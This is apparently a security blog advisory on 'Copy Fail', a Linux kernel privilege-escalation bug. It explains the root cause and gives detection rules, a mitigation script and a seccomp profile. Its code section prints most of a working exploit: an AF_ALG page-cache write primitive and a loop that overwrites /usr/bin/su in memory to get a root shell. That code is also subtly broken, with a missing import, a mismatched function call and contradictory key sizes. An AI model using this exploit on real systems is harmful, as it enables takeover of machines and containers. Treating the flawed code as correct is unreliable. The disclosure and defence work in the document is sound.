Background - What Is Copy Fail?
The Plain-English Summary
Imagine your operating system stores the contents of every open file in a scratchpad in RAM - a cache - so it doesn't have to keep reading from the slow hard drive. Now imagine that an attacker with a regular, unprivileged user account can silently edit four bytes of that in-memory scratchpad per operation, targeting any file they can read. No alarms fire. Nothing on disk changes. The next time the OS runs that program from cache, it runs the attacker's modified version.
That is Copy Fail in one paragraph. The attacker targets /usr/bin/su - a setuid-root binary that every user can run - corrupts its in-memory copy to execute setuid(0); execve("/bin/sh") instead of normal code, then runs su. The kernel loads the binary from the corrupted cache, and the attacker gets a root shell.
The name "Copy Fail" refers to how the attack is triggered: it exploits a code path that runs during a failed copy operation deep inside the kernel's cryptography layer. The failure is intentional - the attacker deliberately crafts invalid data so a specific pre-failure write happens at a chosen offset.
Affected Systems at a Glance
The vulnerable code was introduced by kernel commit 72548b093ee3 in August 2017 and landed in kernel version 4.14. Every kernel from v4.14 through v6.19.11 is affected - a nearly nine-year window.
| System | Vulnerable? | Notes |
|---|---|---|
| Ubuntu 20.04 / 22.04 / 24.04 | Yes | Patches rolling out but not yet in default apt channels |
| RHEL 8 / 9 / 10 | Yes | Patches in progress |
| Amazon Linux 2023 | Yes | Patches in progress |
| Debian stable | Yes | Debian sid/unstable is patched |
| Fedora / Arch / SUSE | Yes | Updates needed |
| Linux kernel ≥ 6.19.12 | No | Upstream fix shipped |
| Android | No | SELinux policy blocks AF_ALG for unprivileged processes |
| AWS Fargate / Lambda | No | Firecracker microVM boundary - different kernel per VM |
| gVisor containers | No | Userspace kernel does not implement AF_ALG |
Three Kernel Subsystems You Need to Know
The bug lives at the intersection of three parts of the Linux kernel. You don't need to be a kernel developer to understand them - think of them as three tools that were never supposed to be used together in this way.
AF_ALG - Crypto Through a Socket
Linux lets programs encrypt and decrypt data by talking to the kernel through a special socket interface called AF_ALG (Address Family ALG, family number 38). Any unprivileged user can open one of these sockets - no root, no special permission required. Think of it as a standard electrical outlet: anyone can plug into it.
AF_ALG exposes hardware-accelerated encryption to userspace programs that would otherwise need to bundle their own crypto libraries. You ask the kernel "please encrypt this data with AES-256", hand it your data, and get back the result.
splice() - Zero-Copy Data Transfer
Normally, when a program reads a file and writes it somewhere else, data has to travel: disk → kernel buffer → userspace buffer → back to kernel. splice() is a Linux syscall that short-circuits this: it moves data between two kernel file descriptors without ever copying bytes through userspace. Instead, the kernel hands over references - pointers - to the pages already sitting in the page cache (the in-RAM copy of file contents).
The crucial detail: when you splice() a file into the AF_ALG socket, the kernel's crypto subsystem receives a direct pointer to that file's pages in RAM. Not a copy of the data - the actual pages.
AEAD and authencesn - The Crypto Being Abused
AEAD stands for Authenticated Encryption with Associated Data. It's a mode of encryption that simultaneously encrypts data and verifies its authenticity - so you know the data wasn't tampered with. AES-GCM (used in HTTPS) and ChaCha20-Poly1305 are common AEAD schemes.
The specific AEAD template the exploit targets is authencesn(hmac(sha256),cbc(aes)) - a construction used for IPsec VPN connections that handle Extended Sequence Numbers (ESN). The authencesn module does housekeeping during decryption: it needs to temporarily rearrange the sequence number fields in the output buffer. This rearrangement is where the bug lives.
The Root Cause - A 2017 "Optimization"
Before August 2017, when the kernel processed AEAD operations through AF_ALG, it kept two separate buffers: a source buffer (where your input data lives) and a destination buffer (where the output goes). These were completely independent memory regions. Clean separation.
In August 2017, a developer submitted an optimization: instead of using separate source and destination buffers, perform the AEAD operation in-place. Merge them into one. This reduces memory allocations and speeds things up. The optimization was merged into kernel v4.14.
Here is the specific change that introduced the bug. Instead of fully copying the authentication tag into the output buffer, the optimization used sg_chain() - a scatter/gather list chaining function - to reference the tag pages directly from the source scatterlist. Then it set req->src = req->dst, making both source and destination point to the same memory.
The authencesn module needs to write 4 bytes of scratch data into the destination buffer during its Extended Sequence Number rearrangement step. With the in-place optimization active, it writes those 4 bytes directly into the target file's page cache.
Crucially, this scratch write happens before the HMAC authentication check. The kernel then verifies the authentication tag - which fails, because the attacker fed garbage data - but the page cache was already modified. The error return does not roll back the write.
The attacker controls which 4 bytes are written (they come from bytes 4–7 of the Associated Authenticated Data field in the request) and where they land (controlled via splice() offset and the length parameters of the crypto operation). Repeat this operation across every 4-byte chunk of a target binary, and you can overwrite arbitrary content in any readable file's in-RAM copy.
The Attack Step by Step
The full exploit chain is deterministic - no race conditions, no timing windows, no need to know kernel addresses or offsets. Here is every step the 732-byte Python script performs:
Open an AF_ALG socket
socket(38, 5, 0) - AF_ALG, SOCK_SEQPACKET. Requires zero privileges. This is the entry point into the kernel's crypto layer.
Bind to the authencesn AEAD template
Bind the socket to aead / authencesn(hmac(sha256),cbc(aes)). Set the AEAD key via setsockopt(SOL_ALG, ALG_SET_KEY) using authencesn's rtattr format (4-byte rtattr header + 4-byte enckeylen + 16-byte HMAC key + 16-byte AES key). Set the auth tag size to 4 bytes via setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) - this must be called before accept() or subsequent sendmsg calls return EINVAL. Finally call accept() to get an operational crypto file descriptor. A fresh socket is created for each 4-byte write to avoid stale state after the expected auth failure.
Open the target binary
Open /usr/bin/su for reading - only read permission is needed. This is a setuid-root program that all users can read. The goal is to corrupt its in-memory (page cache) copy.
Splice file pages into a pipe, then into AF_ALG
Use splice(fd_su, offset, pipe_write, ...) to move the target file's page cache pages into a pipe - zero copy, direct reference. Then use splice(pipe_read, af_alg_socket, ...) to feed them into the crypto socket. Those pages are now chained into the AEAD destination scatterlist.
Trigger the scratch write via sendmsg / recv
Issue sendmsg(MSG_MORE) first with the 8-byte AAD, placing the desired 4 bytes at AAD bytes 4–7 (the seqno_lo field). Then splice the file pages. Then call recv() to trigger AEAD decryption. The authencesn module writes those 4 bytes into the page cache at byte cryptlen (= target_offset) - before HMAC verification fails and returns an error. The write sticks.
Repeat for every 4-byte chunk of the ELF payload
Loop through every 4 bytes of the 160-byte ELF payload, writing chunk by chunk starting at offset 0. cryptlen = target_offset grows by 4 each iteration; because splice(..., offset_src=0) always reads from the start of the file, byte cryptlen of the spliced data maps exactly to file byte target_offset. Each iteration modifies exactly 4 bytes of /usr/bin/su's in-RAM copy.
Execute the modified binary
Call os.system("su"). The kernel loads /usr/bin/su from page cache - the corrupted copy. Because the setuid bit on the on-disk file is untouched, the kernel runs the binary with root privileges. The injected ELF calls setuid(0); execve("/bin/sh", ...), and the attacker has a root shell.
Why Your Security Tools Are Blind to It
This is the property of Copy Fail that elevates it from a serious bug to an operational threat: it leaves absolutely nothing on disk. The kernel's page cache is modified, but the on-disk file is never touched.
Here is why. Every file page in the Linux page cache carries a dirty flag. When a page is modified through normal means - a write() call, mmap write, etc. - the dirty flag is set. The kernel's writeback machinery periodically flushes dirty pages to disk. File integrity tools work by hashing the on-disk content and comparing against a known-good baseline.
The AEAD scatterlist write that Copy Fail uses does not go through the normal write path. It writes directly into the page struct via scatter-gather memory walk. The dirty flag is never set. The writeback machinery never sees the modified page. The on-disk file remains exactly as it was.
| Security Tool | Detects Copy Fail? | Why |
|---|---|---|
| sha256sum / md5sum | No | Hashes on-disk content - disk is unchanged |
| rpm -V / dpkg --verify | No | Verifies installed files against package database - on-disk only |
| AIDE / Tripwire / Samhain | No | All compare on-disk file hashes - blind to page cache state |
| Standard audit logs (auditd) | No | No write() syscall is issued - the modification is invisible to syscall auditing |
| EDR on-access file scanners | No | Triggered by write syscalls - no write syscall happens |
| Falco / Sysdig (AF_ALG rule) | Yes | Behavioral rule detecting AF_ALG socket creation from unexpected processes |
| Microsoft Defender for Linux | Yes | Signatures: Exploit:Linux/CopyFailExpDl.A, Exploit:Python/CopyFail.A |
| In-memory page cache auditing | Yes | Comparing live page cache against on-disk content detects the divergence |
After exploitation, an attacker can reboot the machine to flush the page cache, and the evidence disappears entirely - the on-disk binary is restored to its original clean state from disk on next read. A forensic investigator examining the disk image would find nothing.
Beyond Your Machine - Container Escape & Cloud Impact
Copy Fail's most dangerous dimension is that the Linux page cache is shared across all processes on a host - including across container namespace boundaries. When multiple Docker containers run on the same physical host, they share the host kernel and therefore share the host's page cache. If a container process corrupts the page cache copy of a binary that the host also uses, the corruption affects the host.
The attack path from a compromised container to host root is:
Cloud environments using hardware virtualization (each VM has its own kernel, like AWS EC2 with dedicated instances, AWS Fargate, or Cloudflare Workers) are not vulnerable to the container escape path, because the kernel page cache is not shared across VM boundaries. However, the local privilege escalation within each VM still applies if the kernel is in the vulnerable range.
Code Deep Dive - Inside the PoC
Setting Up the AF_ALG Socket
The exploit begins by creating the AF_ALG socket, binding it to the vulnerable AEAD template, and configuring the auth tag size. No root required, no special files, no manual module loading:
import os, socket, zlib
# Step 1: create AF_ALG socket (no privileges required)
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)
# Step 2: bind to the authencesn AEAD template
sock.bind((
"aead", # type
"authencesn(hmac(sha256),cbc(aes))", # name of vulnerable template
0, # feat
0 # mask (non-zero causes EINVAL on recent kernels)
))
# Step 3: set the AEAD key - authencesn requires rtattr-formatted key:
# [rtattr hdr: rta_len=8, rta_type=1 (4B)] [enckeylen big-endian (4B)]
# [HMAC-SHA256 auth key (32B)] [AES-128 enc key (16B)]
enc_key = b'\x00' * 16 # AES-128 encryption key (16 bytes)
auth_key = b'\x00' * 16 # HMAC-SHA256 authentication key (16 bytes)
aead_key = (struct.pack('<HH', 8, 1) + # rtattr: rta_len=8, rta_type=1
struct.pack('>I', len(enc_key)) + # enckeylen=16 big-endian
auth_key + enc_key) # 16B auth key + 16B enc key
sock.setsockopt(279, 1, aead_key) # SOL_ALG=279, ALG_SET_KEY=1
sock.setsockopt(279, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE=5 on this kernel, authsize=4 bytes
# Step 4: accept() returns the operational crypto fd
op_fd, _ = sock.accept()
The Write Primitive - Corrupting Page Cache
The core of the exploit: for each 4-byte chunk to write, a fresh AF_ALG socket is created (bind, key, authsize, accept) - one per write to avoid any stale state. Then the function sends the 8-byte AAD (bytes 4-7 = seqno_lo = the value we want written) via sendmsg(MSG_MORE), splices the target file's page cache pages into the socket, and calls recv() to trigger the AEAD operation:
def write_4bytes(op_fd, target_path, target_offset, value_bytes):
# assoclen=8: 4-byte padding + 4-byte seqno_lo (the value to plant)
assoclen = 8
authsize = 4 # truncated auth tag (set via ALG_SET_AEAD_AUTHSIZE)
cryptlen = target_offset # seqno_lo write lands at byte cryptlen = target_offset
# Open target file (read permission only needed)
target_fd = os.open(target_path, os.O_RDONLY)
pipe_r, pipe_w = os.pipe()
# Step 1: sendmsg FIRST with MSG_MORE - buffers the 8-byte AAD, does not flush yet
# bytes 4-7 = seqno_lo = the 4 bytes authencesn will write into the page cache
aad = b'A' * 4 + value_bytes # 8-byte AAD: 4-byte padding + 4-byte seqno_lo value
op_fd.sendmsg([aad],
[
(socket.SOL_ALG, 3, (0).to_bytes(4, 'little')), # ALG_SET_OP=3: decrypt
(socket.SOL_ALG, 2, struct.pack('<I', 16) + b'\x00' * 16), # ALG_SET_IV=2: zero AES-CBC IV
(socket.SOL_ALG, 4, assoclen.to_bytes(4, 'little')), # ALG_SET_AEAD_ASSOCLEN=4
],
socket.MSG_MORE) # more data coming via splice
# Step 2: splice() file pages into pipe (zero copy - actual page cache refs)
# offset_src=0: always read from the beginning of the file (not sequential)
os.splice(target_fd, pipe_w, cryptlen + authsize, offset_src=0)
# Step 3: splice() pipe into AF_ALG (page cache pages enter AEAD scatterlist)
os.splice(pipe_r, op_fd.fileno(), cryptlen + authsize)
# Step 4: recv() triggers AEAD decryption
# authencesn's scatterwalk_map_and_copy writes seqno_lo at byte
# cryptlen (= target_offset) into the page cache
# BEFORE HMAC is verified - the write is never rolled back
try:
op_fd.recv(assoclen + cryptlen)
except OSError:
pass # EBADMSG - HMAC fails as expected, page cache already written
os.close(target_fd); os.close(pipe_r); os.close(pipe_w)
Injecting the ELF Payload and Getting Root
With the 4-byte write primitive, the exploit writes a complete minimal ELF64 binary into /usr/bin/su's page cache starting from byte 0 - replacing the ELF magic bytes, headers, and code entirely. The payload is a self-contained 160-byte ELF: a 64-byte ELF header, a single 56-byte PT_LOAD program header, and 40 bytes of x86-64 shellcode that calls setuid(0) then execve("/bin/sh", ...). It is embedded in the exploit compressed with zlib and decompressed at runtime.
# ELF_PAYLOAD: 160-byte self-contained ELF64, zlib-compressed in the exploit
# - ELF header (64B): e_entry points into the code section below
# - PT_LOAD (56B): maps file[0..159] to a fixed virtual address, RWX
# - code (40B): setuid(0) + execve("/bin/sh", ["/bin/sh", NULL], NULL) + exit(0)
ELF_PAYLOAD = zlib.decompress(COMPRESSED_BLOB) # 160 bytes after decompression
TARGET = "/usr/bin/su" # setuid-root binary, world-readable
file_fd = os.open(TARGET, os.O_RDONLY)
# Overwrite /usr/bin/su's page cache from offset 0 - replaces the entire binary in RAM
# Each write_4bytes() creates its own fresh AF_ALG socket (bind/key/accept per call)
i = 0
while i < len(ELF_PAYLOAD):
write_4bytes(file_fd, i, ELF_PAYLOAD[i:i+4])
i += 4
# Run su - kernel loads from poisoned page cache, setuid bit intact on disk
# Injected ELF calls setuid(0) then execve("/bin/sh") - root shell
os.system("su")
Why authencesn Specifically?
The authencesn template is chosen because its ESN rearrangement performs a scatterwalk_map_and_copy(..., 4, 1) call - a 4-byte write - at a predictable offset relative to the AEAD parameters the attacker controls. The write lands at byte cryptlen in the scatterlist - an offset the attacker controls precisely by setting cryptlen = target_offset. This gives exact, repeatable control over the write target with no uncertainty.
Other AEAD templates do not perform this specific scratch write, or they write at offsets the attacker cannot control. authencesn is the one template where the write lands exactly where controlled parameters dictate.
Detection Strategies
Because the attack leaves no on-disk traces and issues no write() syscalls, detection must focus on behavioral patterns at the syscall and kernel module level.
Falco / Sysdig Behavioral Rule
The most reliable open-source detection is monitoring for unexpected AF_ALG socket creation. Legitimate programs that use AF_ALG are rare and well-known - primarily cryptsetup, systemd-cryptsetup, and veritysetup. Any other process opening an AF_ALG SEQPACKET socket should be treated as suspicious:
- rule: AF_ALG Page Cache Poisoning Attempt
desc: Detects unexpected AF_ALG SEQPACKET socket creation (CVE-2026-31431)
condition: evt.type = socket
and evt.arg.domain in (38, 2053, 524293, 526341)
and evt.arg.type = 5
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup)
output: "Possible Copy Fail exploit: AF_ALG socket from %proc.name (user=%user.name pid=%proc.pid)"
priority: CRITICAL
tags: [CVE-2026-31431, privilege_escalation]
Audit Rule via auditd
If you use auditd, you can add a rule to catch AF_ALG socket creation at the syscall level:
# Alert on socket(AF_ALG=38, ...) from any process
-a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_af_alg
Check for hits with: ausearch -k copy_fail_af_alg
Check if algif_aead Module Was Loaded On-Demand
AF_ALG loads the algif_aead module on demand when first used. If the module appears in lsmod and your system does not run LUKS or IPsec, that is a strong indicator the exploit has been attempted:
# If this prints output and you don't use IPsec/LUKS, investigate
lsmod | grep algif_aead
# Check kernel log for when it was loaded
dmesg | grep algif
Mitigation - Check & Patch Your System Now
The Situation With Distro Patches
The mainline fix is commit a664bf3d603d (kernel 7.0), which reverts algif_aead.c to out-of-place operation - fully removing the 2017 in-place optimization. The stable branch backports are commit ce42ee423e58 for kernel 6.19.12 and commit fafe0fa2995a for kernel 6.18.22. Each major LTS branch (5.10, 5.15, 6.1, 6.6, 6.12) received its own backport commit simultaneously.
However, most production servers running Ubuntu LTS (20.04, 22.04, 24.04), RHEL 8/9, and Amazon Linux 2023 have not received this fix through standard apt update && apt upgrade or yum update channels as of May 2026. Vendor backport processes are ongoing, but the timeline is unclear. You cannot wait for your package manager to save you here.
Automated Check & Patch Script
Copy the script below, save it as copy-fail-patch.sh, make it executable, and run with sudo. It checks whether your system is vulnerable and, if it is, applies the algif_aead mitigation with your confirmation:
#!/usr/bin/env bash
# CVE-2026-31431 (Copy Fail) - Vulnerability Checker & Patcher
# Detects whether the running kernel is vulnerable and applies the
# algif_aead mitigation (blacklists the module + unloads it if loaded).
# Safe to run multiple times. Does not affect LUKS, IPsec, or TLS.
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
MODPROBE_CONF="/etc/modprobe.d/disable-algif-aead.conf"
PATCH_OK=false
KERNEL_VULN=false
MODULE_STATUS="absent"
banner() {
echo -e "${CYAN}"
echo " ╔═══════════════════════════════════════════════╗"
echo " ║ CVE-2026-31431 · Copy Fail · Checker v1.0 ║"
echo " ╚═══════════════════════════════════════════════╝"
echo -e "${NC}"
}
check_root() {
if [[ $EUID -ne 0 ]]; then
echo -e "${YELLOW}[!] Not running as root - check-only mode.${NC}"
echo -e "${YELLOW} Re-run with sudo to apply the mitigation.${NC}"
else
PATCH_OK=true
fi
}
version_le() {
# Returns 0 if $1 <= $2 using version sort
printf '%s\n%s' "$1" "$2" | sort -V -C
}
check_kernel_version() {
local kver
kver=$(uname -r | grep -oP '^\d+\.\d+\.\d+')
echo -e "${BOLD}[*] Kernel: $(uname -r)${NC}"
if version_le "4.14.0" "$kver" && version_le "$kver" "6.19.11"; then
KERNEL_VULN=true
echo -e "${RED}[✗] Kernel ${kver} is in the VULNERABLE range (4.14.0 – 6.19.11)${NC}"
else
echo -e "${GREEN}[✓] Kernel ${kver} is outside the vulnerable range${NC}"
fi
}
check_module() {
echo -e "${BOLD}[*] Checking algif_aead module...${NC}"
if lsmod 2>/dev/null | grep -q "^algif_aead"; then
echo -e "${RED}[✗] algif_aead is currently LOADED${NC}"
MODULE_STATUS="loaded"
elif modinfo algif_aead &>/dev/null; then
echo -e "${YELLOW}[!] algif_aead exists and can be loaded on demand${NC}"
MODULE_STATUS="available"
else
echo -e "${GREEN}[✓] algif_aead is not available on this system${NC}"
fi
}
check_mitigation() {
if [[ -f "$MODPROBE_CONF" ]] && grep -q "algif_aead" "$MODPROBE_CONF"; then
echo -e "${GREEN}[✓] Mitigation already active: ${MODPROBE_CONF}${NC}"
return 0
fi
return 1
}
apply_patch() {
echo -e "${BOLD}[*] Applying mitigation...${NC}"
echo "install algif_aead /bin/false" > "$MODPROBE_CONF"
echo -e "${GREEN}[✓] Created ${MODPROBE_CONF}${NC}"
if lsmod 2>/dev/null | grep -q "^algif_aead"; then
modprobe -r algif_aead 2>/dev/null \
&& echo -e "${GREEN}[✓] algif_aead unloaded${NC}" \
|| echo -e "${YELLOW}[!] Could not unload module - reboot to complete mitigation${NC}"
fi
echo
echo -e "${GREEN}${BOLD}[✓] MITIGATED - algif_aead is now blocked.${NC}"
echo -e "${CYAN}[i] LUKS encryption, IPsec, and TLS are unaffected.${NC}"
echo -e "${CYAN}[i] When your distro ships a patched kernel, remove: ${MODPROBE_CONF}${NC}"
}
main() {
banner
check_root
echo
check_kernel_version
echo
check_module
echo
if check_mitigation; then
echo
echo -e "${GREEN}${BOLD}[✓] System is PROTECTED - mitigation already applied.${NC}"
exit 0
fi
if [[ "$KERNEL_VULN" == true && "$MODULE_STATUS" != "absent" ]]; then
echo -e "${RED}${BOLD}[!] VULNERABLE: This system is susceptible to CVE-2026-31431 (Copy Fail).${NC}"
echo -e "${RED} Any local user can escalate to root in under 2 seconds.${NC}"
echo
if [[ "$PATCH_OK" == true ]]; then
read -rp "$(echo -e "${YELLOW}Apply mitigation now? [y/N]: ${NC}")" CONFIRM
if [[ "$CONFIRM" =~ ^[Yy]$ ]]; then
apply_patch
else
echo -e "${YELLOW}[!] Mitigation not applied. System remains vulnerable.${NC}"
fi
else
echo -e "${YELLOW}[!] Run as root to apply: sudo $0${NC}"
fi
elif [[ "$KERNEL_VULN" == false ]]; then
echo -e "${GREEN}${BOLD}[✓] Kernel is PATCHED - not vulnerable to CVE-2026-31431.${NC}"
else
echo -e "${GREEN}${BOLD}[✓] algif_aead unavailable - not exploitable on this system.${NC}"
fi
}
main "$@"
chmod +x copy-fail-patch.sh && sudo ./copy-fail-patch.sh
2) Checks whether algif_aead is loaded or can be loaded on demand.
3) Checks whether the mitigation is already in place.
4) If vulnerable, asks for confirmation, then writes /etc/modprobe.d/disable-algif-aead.conf and unloads the module if currently loaded.
The script is idempotent - safe to run multiple times.
Manual Mitigation (Three Commands)
If you prefer to apply the mitigation directly without the script:
# 1. Blacklist the module so it cannot be loaded on demand
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
# 2. Unload it if currently loaded
sudo modprobe -r algif_aead 2>/dev/null || true
# 3. Verify it is blocked
sudo modprobe algif_aead && echo "FAILED" || echo "BLOCKED - you are protected"
To remove the mitigation after your distro ships a patched kernel:
# Only do this after confirming your kernel is 6.19.12+ or your distro
# has pushed a CVE-2026-31431 backport (check with uname -r)
sudo rm /etc/modprobe.d/disable-algif-aead.conf
Container and Kubernetes Hardening
For containerized workloads, add a seccomp profile that blocks socket() calls with AF_ALG (domain 38). This prevents the exploit from running within any container that has the profile applied - even before the host kernel is patched:
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}]
}]
}
References & Further Reading
The vulnerability homepage by Taeyang Lee, including the original 732-byte PoC, full technical write-up, and a live checker that tests whether your running kernel is exploitable.
Xint's detailed breakdown of patch status across Ubuntu, RHEL, Debian, Fedora, Arch, SUSE, and Amazon Linux - including per-distro remediation timelines and kernel package version tracking as of the disclosure date.
CVE-2026-31431 was added to the KEV catalog on April 29, 2026. Under BOD 22-01, US federal agencies are required to remediate by May 20, 2026. The catalog entry confirms active exploitation in the wild.
Ubuntu's official patch status tracker covering 20.04 LTS, 22.04 LTS, and 24.04 LTS - listing affected kernel package versions and the specific linux-image builds that contain the fix.